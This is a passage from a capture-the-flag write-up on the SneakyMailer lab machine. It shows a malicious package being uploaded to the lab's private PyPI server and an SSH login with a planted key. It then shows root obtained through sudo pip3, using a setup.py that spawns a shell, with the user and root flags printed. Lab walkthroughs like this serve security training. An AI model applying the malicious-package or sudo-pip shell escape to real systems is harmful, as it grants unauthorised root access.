warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
warning: check: missing required meta-data: url

warning: check: missing meta-data: either (author and author_email) or (maintainer and maintainer_email) must be supplied

creating HelloWorld-0.1
creating HelloWorld-0.1/HelloWorld.egg-info
copying files to HelloWorld-0.1...
copying setup.py -> HelloWorld-0.1
copying HelloWorld.egg-info/PKG-INFO -> HelloWorld-0.1/HelloWorld.egg-info
copying HelloWorld.egg-info/SOURCES.txt -> HelloWorld-0.1/HelloWorld.egg-info
copying HelloWorld.egg-info/dependency_links.txt -> HelloWorld-0.1/HelloWorld.egg-info
copying HelloWorld.egg-info/top_level.txt -> HelloWorld-0.1/HelloWorld.egg-info
Writing HelloWorld-0.1/setup.cfg
creating dist
Creating tar archive
removing 'HelloWorld-0.1' (and everything under it)
running upload
Submitting dist/HelloWorld-0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK

we successfully uploaded the package, so now we should be able SSH using the key we generated

SSH as low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p0i5on@parrot:~$ ssh -i id_rsa low@10.10.10.197
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Tue Jul 14 16:36:48 2020 from 10.10.14.8
low@sneakymailer:~$ id
uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg)
low@sneakymailer:~$ cat user.txt 
ddc6fef8a2ad6efe7a4e3a0de75b206c

PrivEsc

sudo -l

1
2
3
4
5
6
7
low@sneakymailer:~$ sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

we can run pip3 as root without any password, so lets check pip on gtfobins

gtfobins

gtfobins has a privEsc exploit for pip

https://gtfobins.github.io/gtfobins/pip/#sudo

Exploit

1
2
3
4
5
6
7
8
9
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.E50GyQnjET
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
6b5145eb282ef759f3ccbc81ac2e62a3

This post is licensed under CC BY 4.0